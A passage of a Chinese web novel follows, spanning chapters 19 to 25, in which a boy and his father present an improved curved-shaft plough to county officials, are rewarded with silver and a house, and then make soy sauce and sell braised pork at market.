“您这就折煞我了!” “能够为您打造出曲辕犁,是我的荣幸。” “不知道今后…今后我是否还能继续打造这曲辕犁?” “您放心!” “我不白打造!” “我用五两银子换取这打造权益!” 李铁匠一边说着话,随即从兜里面掏出了五两银子。 “方先生,我知道钱不多。” “但是您也知道,这曲辕犁真要是仿造起来也不难。” “我也就是吃个头遭。” “还请您见谅。” “我倒是觉得方先生可以拿着这曲辕犁去县衙,上交给县令。” “这样一来,说不定还能得到些朝廷的封赏!” 李铁匠在一旁提醒道。 方子期在一旁默默聆听着。 这李铁匠倒是个实在人。 若是换做那脏心眼的,见到这曲辕犁如此之好,恐怕早就自己拿着去县衙换奖赏了。 “爹!” “李叔如此有诚意,咱们就将钱收了吧!” “至少在曲辕犁流行开之前,李叔还能捞一笔。” 方子期对着方仲礼道。 “这银子…我……” 方仲礼本想说,你想继续打造曲辕犁是可以的,但是这五两银子我不好收的。 我来打犁,非但不花钱,还能净赚五两银子?还有这等好事? “爹!” “你不拿钱,李叔心中难安!” “回头咱们要是再弄出点什么新鲜玩意儿,第一时间让李叔打就是了。” 方子期说完后,方仲礼才脸色微红地将银子收下了。 扛着犁捧着图纸,方仲礼和方子期走到铁匠铺外。 “子期。” “你当真觉得将这图纸送给官府,能换奖励来?” “若是闹出事情来可就不好了。” 方仲礼缩了缩脑袋道。 正经的庄稼人,素来对官府二字十分忌讳。 “爹!” “我觉得李铁匠说得不错。” “这曲辕犁的图纸送去官府,说不定还真能获得一大笔奖赏。” “当然了。” “真要是没奖赏也无所谓,反正咱们也不亏。” “正好咱们就在镇子上,去县里也方便。” “我想去墨玉轩看书了。” 方子期道。 “嗯!” “那行!” “先去找你大伯。” “你大伯现如今托了孙家的关系,在县学读书呢!” “他到底是个秀才,见官都不用跪的。” “正好可以给我们引个路。” 方仲礼说完,花了两文钱,带上曲辕犁、图纸和方子期直奔县学。 方子期倒是劝了几句不要去找大伯,只可惜方仲礼又叛逆了。 所谓的县学就是整个禾阳县的童生和秀才在里面学习的地方。 县学的训导和教谕最起码都是有秀才功名的。 但是县学不好进,之前方伯山就是童生,都没资格进,考中了秀才后,也是托了孙家的关系才入了县学。 方仲礼找了门房后不久。 方伯山就迈着快步,急匆匆地走了过来。 数月未见。 他这位大伯倒是越发地意气风发了。 此刻走起路来都带风,漳缎衣袖猎猎作响。 等他来到方仲礼面前,脸上明显露出不耐神色。 “你到县学找我何事?” “我还忙着和同窗切磋诗词呢!” “是家里出了什么事吗?” “你扛着犁出来像什么样子!” 方伯山面色冷淡道。 此刻旁边走过来几个学子,方伯山更觉自己丢人了,语气更难听了。 “我现在是秀才!” “是有功名在身的!” “你今后出去,不要随便说你是我的弟弟。” “好叫人家笑话你!” “更是在打我的脸!” 方伯山冷哼着叮嘱道。 方仲礼:“……” “我这是改进之后的曲辕犁。” “准备献给县令。” “希望大哥帮忙带个路。” “就这点事。” 方仲礼此刻脸色也不大好看了。 这才几个月? 生分成这样了?这还是亲兄弟? 进了这县城,变得这么快? “犁?” “就这东西还送给县令?” “笑话!” “大把的人拿着金山银山送给县令都找不到门路呢!” “你既无事,我就走了。” “以后若非父母病危,不要随意来找我!” 方伯山甩了甩袖子,直接转身离去。 此刻还一副气势汹汹的样子。 方仲礼:“……” “子期。” “这真是你大伯吗?” 第20章 再遇鹰扬卫,上阵父子兵 方仲礼撞了南墙之后,就清醒了,扛着曲辕犁,带着方子期,直扑县衙。 然后…… 又卡住了。 “今天我们县衙概不接待外客!” “没什么事,你们就走吧!” “这里不是你们该待的地方!” 县衙的衙役冷眼瞥了一眼方仲礼和方子期。 见方仲礼虽然扛着犁,但是言谈举止明显是读书人,所以态度也稍好些。 但是想进去,自然是门都没有…… 方仲礼无奈苦笑。 “儿啊。” “要不然我们先回去?” “哎!” “别说是立功受赏了。” “现在这连门都进不去。” 方仲礼颇为郁闷。 方子期现在也很头疼…… 还得有个功名在身上才行啊。 不然去哪都不方便。 “你是…卖甘葛饮的摊主?” 突然。 一个小胖子迈动着小胖腿来到方仲礼和方子期面前。 “你是……” 方仲礼绞尽脑汁地瞪着眼前这个衣装华丽的小胖子,确实一点印象都没了。 应该是之前他摆摊的时候,在他的摊位前买过甘葛饮的客人吧。 摆摊就是这样。 处处皆是熟人。 “摊主!” “你做的甘葛饮很好吃!” “我吃过一次就忘不了。” “只是后来再去寻你,就找不到了。” “今天你可是来卖甘葛饮的?” 小胖子显然是自来熟,此刻话也不少。 “我们今天来县城是为了给县令献上曲辕犁的。” “不曾卖甘葛饮。” “若你想吃,等下次我爹来县城,给你带一些过来。” 方子期的目光在小胖子身上扫了一眼。 这小胖子锦帽貂裘的,一看就是富家子弟。 而且还出现在县衙周边…… 这身份嘛…… “呀!” “你可真好!” “我叫花允谦!” “你叫什么名字?” 小胖子打量了方子期一眼,见他虽然瘦弱,但是唇红齿白的,而且说起话来有理有据,所以观感极好。 “我叫方子期。” “这是我爹方仲礼!” 方子期致礼道。 “这就是你说的曲辕犁?” 小胖子花允谦打量着方仲礼背着的曲辕犁,脸上不由得露出好奇神色。 方子期拿出图纸,简单扼要地说明了这曲辕犁比起直辕犁的优势。 小胖子面上看着不靠谱,但是听完之后,却是频频点头。 “加装转向装置……” “优化内部结构……” “省力、不挑地,还易转向。” “果真是好东西啊!” “走!” “我带你们进去!” 小胖子花允谦大手一挥,直接在前面开路。 门口的衙役见到小胖子到来,纷纷行礼,也不再敢阻拦方子期和方仲礼了。 “子期。” “这小子是何身份?” “我观那衙役对他的态度,可相当不一般。” “不会出事吧?” “这可是在县衙。” 方仲礼深吸一口气,目光在周边横扫一圈,做好了随时撤离的准备。 “应该是官宦子弟吧!” “或是县衙六房主事的子弟?” 方子期随口道。 不过这些都不重要了。 只要能将曲辕犁的图纸递交上去才是关键。 小胖子花允谦对县衙内的构造十分熟悉,飞奔在前面打头阵,不一会儿,就直接来到了后衙。 “爹!” “我带着几个朋友……” 砰…… 后衙的大门被推开。 小胖子花允谦见到里面的扬景,略有些懵。 他那不可一世素来高傲的父亲。 此刻正跪伏在一个身穿暗红色紧身服的中年男子面前。 除此之外,屋内还有十多个身穿暗红色紧身服的人。 这些人的衣服上都绣着一只金色老鹰,活灵活现的。 方子期扫了一眼,脸上也露出错愕之色。 是鹰扬卫! 之前他大伯就曾因宁江府科举舞弊之事,被鹰扬卫抓过。 而之前抓捕他大伯的鹰扬卫头领,此刻在这群鹰扬卫中,只是个小喽啰,在那里站岗。 “允谦?” “你怎么进来了?” 禾阳县县令花承祚见到自己的儿子走进来,心中一紧。 “燕百户!” “请您息怒!” “小儿莽撞无知,冲撞了您,下官在这里赔罪了!” 县令花承祚当即赔礼道歉道。 “这就是贵公子?” “早就听说花县令教子有方,麾下有一子乃是天生神童!恐怕就是眼前这位了吧?” “今日一见,也确实算是…福泽深厚!” 鹰扬卫百户燕忠澜瞥了一下花允谦那胖墩的身体,实在说不出器宇轩昂几字。 见燕忠澜不曾发火,花承祚顿时松了口气。 随即再度一脸怒气地瞪向花允谦。 “你这孽子!” “冒失地冲进来做什么!” 花承祚皱眉呵斥道。 “爹!” “我在门口遇到了方仲礼和方子期父子。” “他们要给您进献曲辕犁!” “我看过图纸和实物了!” “用这曲辕犁犁地,事半功倍!” “同样的地,用这曲辕犁,起码能节省一半以上的时间!” “若是您能将曲辕犁在全县普及!” “那到时候百姓们种植田地可就轻松多了。” 花允谦扯着嗓子道。 虽然这里有鹰扬卫,他很慌。 但是他强迫自己不去慌。 因为他自认为自己比方子期年长几岁,方子期这个小弟弟都能一脸淡然,他这个做大哥的哪能慌? “曲辕犁?” “什么乱七八糟的!” “快滚出去!” “为父还有要事同燕百户商议!” 县令花承祚呵斥道。 “是…爹!” 花允谦点点头,准备先带方子期和方仲礼离开。 “等等。” “什么曲辕犁?” “当真有…节省一半犁地时间之能?” 突然间。 鹰扬卫百户燕忠澜来了兴致。 本来到禾阳县只是为了清查几个叛逆而已。 没想到还能遇到这等新奇事。 当鹰扬卫百户燕忠澜的目光看向方仲礼的时候,方仲礼感觉如临冰窖…… 就像是被一尊杀神给盯上了一样。 方仲礼几次想开口,突然觉得脑子一片空荡荡的。 “大人容禀!” “曲辕犁是我爹在直辕犁的基础上改进而来。” “非但能够节省一半以上犁地时间,而且还能极大程度缩减人力和畜力。” “这是我爹改进过的图纸。” “大人请观瞻。” 第21章 县衙的奖赏 “大人!” 方子期点点头。 事已至此,伸头是一刀,缩头也是一刀,只能硬着头皮往里冲了。 “大人,这曲辕犁本质上就是在直辕犁的基础上进行改进……” “这图纸上的第一步就是将“直辕” 改为 “曲辕”…辕长极大缩短,极大程度缩减人力……” “第二步就是增加“犁盘” 与 “犁评”,就是这上面的两个东西,加了这些东西后,就能实现曲辕犁的灵活调节,在狭窄之地也能操作……” “第三步就是优化犁铧与犁壁的角度……其实就是调整了犁铧的锐利度和犁壁的曲面度……非但使得翻土顺畅,而且还能最大程度上便于除草和,保持土壤水分……” “第四步就是极大缩短犁底,减轻整个曲辕犁的重量,单人即可操作,大大节省了人力物力。” “大人……” “我爹改动的内容就这些。” “请您查验!” 方子期恭恭敬敬道。 方仲礼此刻稍稍恢复了点知觉。 此刻见自己的宝贝儿子在那里侃侃而谈。 而他这个当爹的却被吓得不敢言语,顿时老脸一阵滚烫。 “果真是巧思!” “按照这图上所描绘的。” “的确能大大地节省人力和时间。” “如若在整个大梁推广,势必能够极大地促进大量的农业发展!” “可有实物?” 燕忠澜顿时来了兴致。 “有的大人!” “我爹将打造好的曲辕犁放在了门外。” “只需要找一块地,就能验证。” 方子期道。 “燕大人!” “我这后衙就有一块地,可供参详。” 县令花承祚连忙道。 有了多方面的支持。 很快,方仲礼就操纵起曲辕犁独自开始操作。 看着方仲礼使用曲辕犁在耕地的时候如鱼得水的样子,燕忠澜顿时眼前一亮。 随即他亲自下扬感受了一番,脸上的笑容就更多了! “燕大人!” “此等事哪里用得着您亲自动手,让属下来就好。” 县令花承祚连忙道。 “县令大人!” “这禾阳县在你的治理下,果真是人杰地灵啊!” “这曲辕犁的图纸,我将亲自上呈陛下!” “不知县令大人可否割爱?” 燕忠澜笑着道。 “燕大人说笑了!” “此物能得到燕大人的垂青,是此物之荣幸!” “亦是下官之荣幸!” 县令花承祚连忙作揖道。 “嗯!” “这位方小兄弟。” “你同你父亲留下家宅位置。” “回头自有奖赏送上。” 燕忠澜提点了一句,随即直接带着鹰扬卫离开了。 方子期和方仲礼告别县令后,也准备离开了。 这一次贡献曲辕犁虽一波三折,好在最终的结果是好的。 从县衙出来的时候,花允谦特地过来送别。 “方兄!” “方伯父!” “回头你们再来县衙的时候,可要给我多带一些甘葛饮来啊!” “这甘葛饮实在是太好吃了!” 花允谦俨然就是个吃货。 此刻说起甘葛饮,黑漆漆的眼珠子瞪得极大。 “花兄放心。” “等下次来县城。” “必如你所愿。” 方子期拱拱手道。 这花允谦虽是县令之子,身上却没有什么纨绔作风,反倒是带着一丝质朴之意,这让方子期对他观感极好。 出了县衙之后。 方子期和方仲礼直扑墨玉轩。 方仲礼交上抄书的手稿,顺便拿上下一次需要抄书的内容。 至于方子期,此刻埋头在墨玉轩的书海中翱翔。 “方小友!” “这里有几本四书五经的注释版本!” “你且拿去看吧!” 魏掌柜仍旧是那副笑呵呵的慈善模样。 拿起这四书五经的注释版本,方子期顿时眼前一亮。 这居然是大儒注释的版本。 这其中的珍贵性可想而知道! “多谢魏掌柜!” 方子期诚心道谢。 同时对魏掌柜的背景也产生了深深的好奇。 普通书铺掌柜,可不会有此等硬通货。 等方子期和方仲礼回到家的时候,天已经黑了。 方仲礼兴致盎然地朝着自己的妻子苏氏和四个宝贝女儿诉说着这一天的经历。 对他这样的农人而言,这一天的经历堪称离奇来形容了。 非但见到了县令,还见到了能让县令折腰屈服的鹰扬卫百户! 而且他还得到了鹰扬卫百户的夸赞! 就这些事,够他吹嘘好几年的了。 让方子期感到意外的是。 这贡献图纸的奖励第二天居然就来了! 县衙的衙役来了十多位。 甚至于还来了一位县丞! 最让方子期意外的是…… 居然还是他大伯方伯山给引的路。 “县丞大人!” “这就是我家了!” “那方仲礼是我二弟!” “平日里我就教导他要多读书!” “现在看来,他果真不曾辜负我之期望!” 方伯山对县丞岑修远颇为谄媚道。 只是县丞岑修远没怎么搭理方伯山,而是一脸笑意地走向了方仲礼。 “我是本县县丞岑修远!” “此番嘉奖县令大人本来是打算亲自送来的。” “只是县令大人临时突然有事,所以只能委托我前来。” “对于你们贡献上来的曲辕犁。” “县令大人十分欣喜!” “这一百两银子,是县衙特地给你的奖励!” “这只是县衙的奖励!” “只有朝廷的嘉奖,恐怕要等到燕大人将曲辕犁的图纸呈报给陛下看了之后,才能下来了。” 说话间,县丞岑修远递送过来一个小箱子。 箱子里面放置了十个十两的银锭。 方仲礼站在原地,此刻被这一百两的银子给砸晕了! 天啦! 就一个曲辕犁的图纸,一百两银子的奖励? 而且按照这县丞所说,这还只是县衙的奖励? 如此说来,那之后朝廷的奖励岂不是还要更高? 方仲礼的脸,唰得一下就红了。 此刻蠕动着嘴唇,连忙道:“多谢县丞大人!” “县丞大人莅临我方家,使我方家蓬荜生辉!” “县丞大人里面请!” “草民马上安排宴席!” 方仲礼深吸一口气连忙道。 “饭就不吃了,我还有事。” “只是花少爷特地交代我,让我带一些甘葛饮回去,所以……” 县丞岑修远颇为无奈地耸耸肩。 方仲礼听后,连忙从家里取了好几斤已经晒干的甘葛饮,并且用纸张写上了冲泡之法。 另外方仲礼还特地又准备了一份甘葛饮。 “县丞大人,这一份是送给花少爷的。” “至于这一份,是草民孝敬县丞大人的!” “县丞大人可千万不要嫌弃这山上的粗鄙之物!” 方仲礼此刻说起话来,倒是井然有序。 “如此,就多谢方老哥了。” 县丞岑修远见方仲礼如此懂事,满意地点点头,随即带着衙役离开。 此刻方家周边已经围了一大圈人! 当下都在那里嘀嘀咕咕。 “县衙特地送了一百两银子给方家老二?” “我的天!” “这百两纹银都能买上几十亩田了!” “还有这等好事!方老二只是改动了一下这犁?就有如此奖励?” 第22章 方仲礼当吏员的机会 此刻老爷子方守义、奶奶柳氏、三叔方叔信和三婶王氏也都走了出来。 当下都盯着方仲礼手中的小箱子,看得出神! 就这么点大的小箱子里面可是足足装了一百两银子呢! “老大回来了?” “今日休沐了?” 奶奶柳氏见到大儿子归来,脸上浮现出笑意来。 “县丞大人不知来家里的路,特地找我引路。” “待会儿我就要回县学读书了。” “二弟!” “你什么时候研究的这曲辕犁?” “你怎么不早说清楚些!” “若是让我将这曲辕犁送去县衙,凭我这秀才功名,再加上孙家运作,说不得还能换个小官当当。” “而给你…不过就得了一百两银子!” “你若是当日说清楚,将这曲辕犁的图纸交于我,得到的何止区区百两纹银啊!” 大伯方伯山在那里长吁短叹,脸色更显难看,言语中都是抱怨。 “确实是这么个道理!” “老二!” “你折腾这犁的时候,怎么也不同家里人商议商议!” “白白浪费了让你大哥当官的机会!” 奶奶柳氏顿时跟着嘀咕开了。 老爷子方守义虽没说话,但是看向方仲礼的眼神中也透着责怪。 方仲礼:“???” 我有错? “大哥!” “昨日我去县学找你,当时我同你说过了,我要给县令敬献这曲辕犁,想着让你给我引个路……” “当时你不是将我责骂一顿?还说若非爹娘得了不治之症,都不要来找你,省得给你丢人!” “现在倒都是我的不是了?” “大哥还真是巧舌如簧啊!” 方仲礼冷笑一声。 以往,他还念及一点兄弟情义。 但是自从昨天方伯山说了那些话后,方仲礼就完全觉醒了。 这大哥,不要也罢! 听到此话,方伯山脸上明显露出尴尬之色。 “昨日我和同窗正在以诗会友,耽搁不得!” “当时你也不曾将这曲辕犁的厉害之处说明白些!” “哎!” “说到底,是错过让我方家成为官宦之家的机会了。” “爹娘!” “我先回去了!” 方伯山说完,转身就走。 柳氏还想留他吃中饭,但是方伯山头也不回…… “好不容易回来,一口饭也不吃!” “哎……” 柳氏叹了口气道。 这大房算是彻底离了心了。 回到西厢房。 苏氏忍不住道:“这大哥也是真好意思,自己不愿给你引路去找县令,还好意思回来说怪话!” “叫我说,真要是让他当了官,咱们也指不上什么好处,到时候恐怕就看不起咱们这些穷家人了!” “还真是一方水土养一方人!” “大哥才去县城多久?就像是变了个人似的。” 苏氏撇撇嘴道。 “以后少打交道就是了。” 方仲礼抚摸着十个大银锭,嘴角都快要裂开了。 “儿子!” “这曲辕犁都是你鼓捣出来的。” “这奖赏也该是你的。” 方仲礼刚将装满银锭的箱子递送到方子期手上,就被他娘苏氏一把薅走了。 “子期。” “娘不要你钱。” “娘替你将钱先存着!” “回头给你娶媳妇用。” “你一个小孩子,身上放这么多钱,不安全。” 苏氏理直气壮道。 方子期无奈耸肩。 小人素来无人权啊! “娘!” “加上昨天爹从李铁匠那拿回来的五两银子,咱们家现在已经不差银子了。” “回头多买些肉回来吧!” “总不能天天清汤寡水的!” 方子期叹了口气道。 他还在长身体呢! “知道了知道了!” 苏氏心不在焉道。 一直到晚上。 苏氏都像是打鸡血般,一直在谈论着钱的事情。 最终话锋一转。 “孩子他爹!” “虽然咱家现在有些积蓄了。” “但是咱们也不能坐吃山空。” “这抄书的活儿,你还得坚持住。” “还有那甘葛饮……等葛根出来了,咱们一起去挖……” “多点来钱的路子。” “多攒点钱,总归是没错的。” “这世道也不太平……” “子期还要读书……” 苏氏一边说着话,一边鼓捣起去年收成的豆子来。 农户人家不可能天天吃大米饭,一般都是以粗粮为主。 这豆子也是粗粮之一。 看到自家老娘弄出来两大袋子豆子,方子期嘴角一抽。 难不成未来两个月都要吃这玩意儿? “娘!” “我在书上看过。” “这豆子可以制成酱油!” “酱油用来制作红烧肉,味道极好!” “我们若是制造出酱油拿出去卖,必定能大赚一笔!” “所以…咱们家还是将豆子留着做酱油吧!” “别胡乱吃掉了!” 方子期一本正经道。 “酱油?” “什么东西?” 苏氏愣了一下。 方子期解释了一下这酱油就是一种炒菜时用的调料品。 这个时代,其实也有一些调料品,但是大多都是用虾、肉等物晒干磨碎之后制作的。 味道一般,价格还贵。 风味自然比不上豆子制成的酱油了。 因为有之前甘葛饮的成功和曲辕犁的奖赏,所以现如今在方家,方子期说话还是很管用的。 他爹娘一合计,干脆听从方子期的安排,又去购置了几百斤的豆子,随即在方子期的指导下制作酱油。 “爹娘!” “制造酱油是个长期工程!” “正常是要几个月的。” “爹回头去买几个大缸回来……” “然后将豆子清洗干净,放在锅里面蒸熟透了!” “之后将蒸熟的豆子同面粉混合在一起。” “之后再放置一些盐水……” “然后放入缸内等待发酵就行了。” “等发酵好了。” “压榨提取液体。” “就是酱油了。” 方子期简单说明了一下过程。 随即一大家子都跟着忙活起来。 虽劳累一下。 但是好在日子过得还算充实。 一个多月后。 突然有几个鹰扬卫士兵来到了柳溪村。 来到柳溪村后,直扑方家而来。 “我是鹰扬卫小旗赵柯,奉副千户燕大人的命令,给你们送敬献曲辕犁的奖励。” “曲辕犁得到了陛下的恩准,已经在大梁朝境内推广了。” “若是你们父子原先就有功名的话,倒是可以借此机会平步青云了。” “现在燕大人给你们两个选择。” “一是让方仲礼前往当地县衙任吏员!” “二是一座宁江府的宅子。” 第23章 破题和红烧肉 惊喜来得太突然了。 直接去县衙当吏员? 这就吃上皇粮了? 两个选择摆在眼前。 要么去县衙当吏员,要么得到一座宁江府的宅子。 虽然不知道这宅子多大…… 但只要是宁江府的宅子,少说也得上百两银子了吧? 虽然直接去衙门当吏员的诱惑很大,但是方仲礼最终还是忍住了。 “这位大人。” “我还是要宁江府的宅子吧。” “回头我儿子还是要参加科考的。” 方仲礼道。 按照大梁朝的规定,去衙门当吏员,若是上了编制,那就是贱业,三代不得科考的。 所幸,方仲礼眼皮子倒是不浅。 “好!” “这是房子的地契!” “随时都可以去住!” “如此!” “我就先走了!” “后会有期!” 鹰扬卫小旗赵柯说完话,直接转身离去,丝毫不带耽搁的。 此刻方仲礼仍旧感觉像是做梦一样。 “一个曲辕犁的图纸。” “换了一座府城的宅子,又换了一百两银子。” “儿子!你实在是太能干了!” “回头咱们找机会就去府城过日子了!” 方仲礼咧嘴一笑道。 “有了宅子,回头考完县试去府城也算是有落脚之地了。” 方子期考虑的是这个方面。 总而言之,平白得了一座宅子。 这都是大好事。 下午苏氏特地去买了两个大猪蹄子给炖了。 除却送了一碗给爷爷奶奶外,一大家子倒是吃得满嘴流油。 “二哥二嫂!” “你们算是熬出来了!” “又是银钱又是宅子的。” “以后可就是府城人了!” “到底还是要读书的!” “叔信!” “要不然你也跟二哥多读读书?” “就算是不能像二哥这样,研究出曲辕犁来,哪怕是找个抄书的活儿也好啊!” “总好过地里刨食!” 三婶王氏此刻说起话来酸溜溜的。 这个时候自然就要将压力给到三叔方叔信身上了。 “我也不是没同二哥去学堂偷学过。” “我实在不是读书那块料。” “让我读书,还不如让我去当牛做马呢!” “还是培养咱们的儿子绍永吧!” “反正现在咱们也有银钱,送他去族学开蒙去!” 方叔信连忙将自己的儿子方绍永推到前面当挡箭牌。 次日。 方叔信就兴致勃勃地带着方绍永去了学堂,交过束脩,就算是正式入学堂了。 汪汪汪! 伴随着阿黄一阵阵清脆的犬吠声,方子期迈着步子走进学堂,开始了学习之旅。 当方子期进入学堂后。 甲班一众学子脸上皆露出痛苦之色。 “卷王又来了!” “呜呼哀哉!” “我提议让夫子给卷王单独再开个班吧!” “我到底犯了什么错,让我同方子期在一个班……” …… 对于同窗们这些叫苦声,方子期表示很无奈。 其实他读书的时间真不算多。 至少同这些刻苦的同窗比起来是这样。 但是记忆力超强怎么办? 我太强了被同窗们呜呼哀哉怎么办? 当然了。 科举之路,也并非天赋好就能一蹴而成的。 夫子无数次在他面前说过了伤仲永的故事。 方子期也尽可能地将自己的空余时间攒下来,沉浸在四书五经的海洋中。 感受着古文化的独特魅力。 数月苦读…… 倒是让他在四书五经上精进极多。 夫子现在甚至都让他进行一些简单的破题了。 “学以明道,习以体道,道有所得,则中心悦怿,此君子修己之始也!” “何解?” 方夫子一板一眼道。 “本文出自于《论语?学而》中 “学而时习之,不亦说乎”!” “‘学’是 为基础!” “‘习’ 为实践!” “‘悦’代表了最终的精神境界!“ “以‘学以明道,习以体道’开篇,尾端收束于道德修养!” “展开论述‘习为何重要’‘悦从何来’!” “从而为本文立骨!” 方子期思索了一下回答道。 “嗯!” “破题虽稍显稚嫩。” “但是大体方向已不错了。” “明年县试,子期必能中榜!” 方夫子看向方子期,深以为然点头道。 “多谢夫子教诲!” 方子期恭敬道。 一天的学堂生活结束。 在郎朗的犬吠声中,方子期归家。 “子期!” “快来看!” “几月前发酵的酱油已经成型了!” “你爹用石杵压榨了许久!” “终于弄出来了这些酱油来!” 苏氏兴高采烈地对着方子期道。 不说这事,方子期差点忘了…… 几个月前,为了不想成天吃黄豆,所以忽悠他爹娘弄了这酱油。 所幸这酱油还真发酵好了。 方子期嗅闻了一下,清香扑鼻。 “娘!” “既有了酱油,买点五花肉来,今天吃红烧肉吧!” 方子期提议道。 “你个小馋鬼!” “爹都已经买回来了!” “你就放心吧!” 大丫走上前,敲了敲方子期的额头道。 晚间。 香艳欲滴的红烧肉被端上来,直接就被一家人一扫而空。 尤其是用上了酱油的红烧肉,色泽红润,少了几分肥肉的腻味,多了几分豆类的清香。 这滋味…… 惟妙惟肖…… 三丫和四丫更是直接将舌头都咬破了。 “这酱油做出来的红烧肉如此美味!” “想来这酱油肯定是不愁卖的了!” “好几缸呢!” “咱们家又要有进项了!” 苏氏算是见钱眼开的性子。 可能是穷怕了。 只想着将钱都攒住。 “娘。” “与其卖酱油,不如直接卖红烧肉和卤肉了。” “这点酱油卖完可就没了。” “但若是做成红烧肉或是用酱油为原料做成卤肉的话,可是够卖好一阵子的。” “这样也能极大程度上带来长久收益。” “反正之前咱家也卖过甘葛饮。” “刚好有经验。” 方子期提醒道。 “嗯?” “还可如此吗?” “子期!” 第24章 夫子的美食欲 “学生知道了!” 方子期连忙点头道。 夫子的意思,他当然清楚。 主要还是夫子心疼他家境一般。 夫子确实是好夫子。 晚间的时候。 夫子将红烧肉带回去,让妻子蒸热了吃。 虽然方巩礼是秀才,但是家中其实也并非日日都能吃肉的。 将红烧肉蒸热后。 方夫子一家准备吃饭。 “好香啊!” “奶奶!” “今天这红烧肉,色泽尤其好!” 方砚秋此刻皱了皱鼻子,忍不住舔了舔嘴唇,随即连忙给自己夹了一块红烧肉。 红烧肉入嘴即化,各种芬芳在口腔中炸开! 再加上红烧肉的细腻之味。 这滋味,简直绝了! “奶奶!” “你烧红烧肉的水平大涨!” “好吃!真好吃!” 方砚秋一边说着话,连忙又夹了一块。 一旁的方夫子小孙子见状,也连忙夹了一块红烧肉。 吃后,自然也是连连点头,夸赞自家奶奶手艺好。 “当真有这么好吃?” “砚秋,你已经十五岁了!怎么还同你弟弟一般,见到肉就走不动道?” “古人云,食不言寝不语!” “就算是遇到了再好的美食,亦要保持淡定,这才是君子作风。” 方夫子训斥完自己的大孙子,随即在好奇的驱使下,也夹了一块红烧肉。 “嗯?” “当真美味至极!” “没想到子期母亲苏氏在庖厨上居然还有如此天赋!” 方夫子忍不住惊叹道。 随即见自己两个孙子疯狂抢食红烧肉,随即忍不住又伸出筷子多夹了两块。 “这是子期家做的红烧肉?” “爷爷!” “子期下一次什么时候还会给咱家送红烧肉啊?” “爷爷!要不然你干脆将子期的束脩给免了,以后就用红烧肉当束脩好了!” 方砚秋深以为然道,一旁的方砚冬也一副十分赞叹自家哥哥的表情。 方夫子嘴角一抽…… “我今日已经提点过子期,让他以后不要再给我送红烧肉了……” “哎……” “我竟不知,世间居然还有如此美味。” “怪不得东坡先生对这东坡肉格外痴迷。” 方夫子一想起自己在方子期面前清高的姿态,就一阵懊悔。 当时怎么就不知道稍微收着点? 第二天,方子期到学堂后。 方砚秋直言红烧肉美味。 说得那叫一个口若悬河,兴致盎然。 下学的时候,夫子照例将他留下检查功课。 功课检查完毕后。 方夫子突然咳嗽了两声,脸上露出羞涩表情。 “子期啊!” “你家红烧肉可还有多余的?” “以后我用银钱同你换!” 方夫子面色僵硬道。 昨天说过的那些话,现在完全被他给吞入腹中了。 “额……” “夫子喜欢吃这红烧肉,明日我再带来就是。” “说什么银钱!” “夫子已免了我一半束脩,每日又额外指导我的功课,就如同我的父亲一般!” “能有机会孝敬夫子,是子期之荣幸。” 方子期诚挚道。 这都是心里话。 方夫子是他的第一位老师。 他自认为,这也是他最好的老师。 不图财,一心只为将他培养成才。 此刻就因为一点红烧肉,就谈及钱财之事?那他方子期才真的是狼心狗肺了。 夫子本还想矜持,但是一想到自家那两个宝贝孙子磨了自己一晚上的样子,随即也只能苦笑应下了。 当然了。 方夫子自然不可能让方子期吃亏就是了。 方子期经常给方夫子送红烧肉,方夫子除了在学问上指导他夫子之外。 还经常性地赠送方子期书籍。 在这个年代,一本书,尤其是事关四书五经的书,可都是十分珍贵的。 若非如此,他爹也不可能通过抄书就能养活一大家子。 这种微妙的平衡感倒是把握地极好。 过了几天。 方子期跟着父母再度来到县城。 通过酱油卤制的卤肉已经做好了一批,再加上一锅香喷喷的红烧肉。 此刻自然是要通过摆摊,将这些吃食卖出去赚取银钱。 一开始方子期还觉得这红烧肉和卤肉初次露面,想要打开市扬还需要一段时间。 但是当红烧肉的锅盖打开,香味飘散开后…… 前来问价的人群络绎不绝。 再加上红烧肉和卤肉通过酱油处理,色泽极好,色香味俱全! 打开市扬,自是简单。 “好香的肉!” “给我来三斤红烧肉,再来三斤卤肉!” “如若吃得好了,以后我每日都要,我是钱家的管家钱三。” 钱三管家抖了抖如同弥勒佛般的身体,脸上挂满了笑容。 “钱管家好。” “这红烧肉和卤肉都是四十文一斤!” “诚惠240文钱!” “这小盒子里的红烧肉就当是送给钱管家尝鲜了!” 方仲礼笑呵呵道。 额外又送了大概大半斤红烧肉,另外用东西装好。 钱三管家满意地点点头,暗道这个摊主会来事。 虽然他不在乎这大半斤肉的钱,但是在不在乎和摊主懂不懂事是另外一回事。 为了拓展生意。 在方子期的建议下,方仲礼特地在摊位上准备了一些红烧肉和卤肉,供顾客们品尝。 如此一来。 这生意做得自然就更红火了。 不到两个时辰,带来的红烧肉和卤肉居然全部卖光了! 现在只剩下眼前这一点用于顾客品尝的红烧肉和卤肉。 “五十斤红烧肉。” “五十斤卤肉!” “居然全卖完了!” “这县城的有钱人也太多了吧!” “原本我觉得卖三十文一斤已经很贵了,子期非要嚷嚷着卖四十文!” “谁曾想卖四十文都卖得如此之快!” 方仲礼忍不住感慨道。 自己这宝贝儿子真要是在科举上没什么进展的话,就算是做商人,那也是能成一方巨擘的! “还是咱宝贝儿子厉害!” “以后都听儿子的!” 苏氏现在满心满眼只有自己的宝贝儿子,那眼睛都快成月牙状了。 说话间,苏氏直接走过来抱着方子期,又来了一波母爱泛滥。 方子期无力对抗。 正当方仲礼收拾摊子准备回家的时候。 远处走过来一个小胖子。 “方叔?” “方兄?” “果真是你们!” “你们这是又来卖甘葛饮了吗?” 小胖子是花允谦,之前在方子期进献曲辕犁的事情上帮过忙的。 “这也不是甘葛饮……” “好香啊……” 花允谦瞪着眼珠子,舔了舔嘴唇。 第25章 大赚一笔 “今天我们是来卖红烧肉和卤肉的。” “真不凑巧,这肉都卖完了。” 方仲礼拱手致歉道。 “这不是还有吗?” 花允谦指了指桌面上用于让食客品尝的卤肉和红烧肉。 方子期走上前道:“花兄,这是让食客品尝的,你若不嫌弃,就都拿去吧!” “最近这段时间,我爹娘应该都会来卖红烧肉和卤肉。” “花兄若觉味道不错,可以早些过来购买。” 方子期提醒道。 “不嫌弃不嫌弃!” “谁会嫌弃美食啊!” 花允谦继续舔了舔嘴唇,此刻自然也顾不得什么形象不形象的了,盯着红烧肉和卤肉就是一通横扫…… “唔……” “好……” “好吃……” “唔……” “滑而不腻……” “香味扑鼻。” “这可比松香楼的红烧肉好吃多了。” “还有这卤肉,也好…好吃……” “天啦!” “我以前吃的到底是什么猪食啊!” 